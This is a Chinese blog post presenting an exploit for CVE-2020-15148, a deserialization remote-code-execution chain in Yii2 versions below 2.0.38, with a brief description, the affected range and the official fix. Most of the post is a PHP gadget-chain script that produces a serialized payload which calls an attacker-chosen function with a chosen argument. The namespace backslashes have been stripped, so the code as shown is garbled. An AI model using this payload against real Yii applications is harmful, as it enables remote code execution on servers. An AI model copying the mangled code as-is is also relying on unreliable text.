• CVE-2020-15148 Yii框架反序列化RCE利用链 exp


    简介

    如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

    该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

    该反序列化执行链在今年8月初已经公开,建议使用yii框架的同学排查

    影响范围

    Yii2 <2.0.38

    修复方案

    目前官方已经禁止BatchQueryResult类被反序列化

    exp

    
    <?php
    namespace yii
    est {
        class Action extends yiiaseAction
        {
            public $checkAccess;
        }
        class IndexAction extends Action
        {
            public function __construct($func, $param)
            {
                $this->checkAccess = $func;
                $this->id = $param;
            }
        }
    }
    namespace yiiweb {
        abstract class MultiFieldSession
        {
            public $writeCallback;
        }
        class DbSession extends MultiFieldSession
        {
            public function __construct($func, $param)
            {
                $this->writeCallback = [new yii
    estIndexAction($func, $param), "run"];
            }
        }
    }
    namespace yiiase {
        class BaseObject
        {
            //
        }
        class Action
        {
            public $id;
        }
    }
    namespace yiidb {
        use yiiaseBaseObject;
        class BatchQueryResult extends BaseObject
        {
            private $_dataReader;
            public function __construct($func, $param)
            {
                $this->_dataReader = new yiiwebDbSession($func, $param);
            }
        }
    }
    $exp = new yiidbBatchQueryResult($func, $param);
    print(serialize($exp));
    
    
    

    参考

    1. https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
    2. https://xz.aliyun.com/t/8082#toc-8
    3. https://github.com/AFKL-CUIT/phpggc/
  • 相关阅读:
    2019 SDN上机第2次作业
    2019 SDN上机第1次作业
    第07组 团队Git现场编程实战
    第二次结对编程作业
    c语言之问题集
    2019春第2次课程设计实验安排
    2019年十二周总结
    第十一周总结
    第十周作业
    第九周总结
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/13693969.html
Copyright © 2020-2023  润新知